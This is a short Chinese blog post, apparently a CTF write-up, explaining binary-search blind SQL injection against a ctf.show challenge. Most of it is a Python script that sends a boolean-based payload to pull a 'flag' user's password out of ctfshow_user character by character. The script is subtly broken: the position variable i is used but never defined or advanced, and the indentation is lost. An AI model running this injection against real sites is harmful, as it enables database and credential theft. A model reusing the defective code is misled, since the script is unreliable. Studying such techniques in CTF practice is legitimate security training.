之前一直都是整个过一遍字典… 二分法没怎么研究
二分法有一个使用条件, 就是需要查找的内容必须有序 (即按照从小到大或从大到小的顺序排序)
这里借 ASCII 码实现二分法盲注
二分法时间复杂度为 O(log2n)
二分法查找比遍历字典查找效率高得多
import requests
url = 'http://a2a7e64c-6f02-4059-84fc-3cdda760b232.challenge.ctf.show/api/index.php?id=1'
flag = ''
while True:
min = 32
max = 127
while min < max:
mid = (min + max) // 2
payload = '\' and if(ascii(substr((select password from ctfshow_user where username=\'flag\'),{},1))>{},1,0) %23'.format(i,mid)
res = requests.get(url + payload)
if 'admin' in res.text:
min = mid + 1
else:
max = mid
flag += chr(min)
print(flag)
主要说一下为什么是 min = mid +1
和 max = mid
当判断 mid 大于某个值的结果为 true 时, 这个所求值肯定是比 mid 要大的 (大于), 所以是 mid + 1
当结果为 false 时, 所求值应该是不超过 mid (小于等于), 所以是 max = mid
- By:X1r0z[exp10it.cn]
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论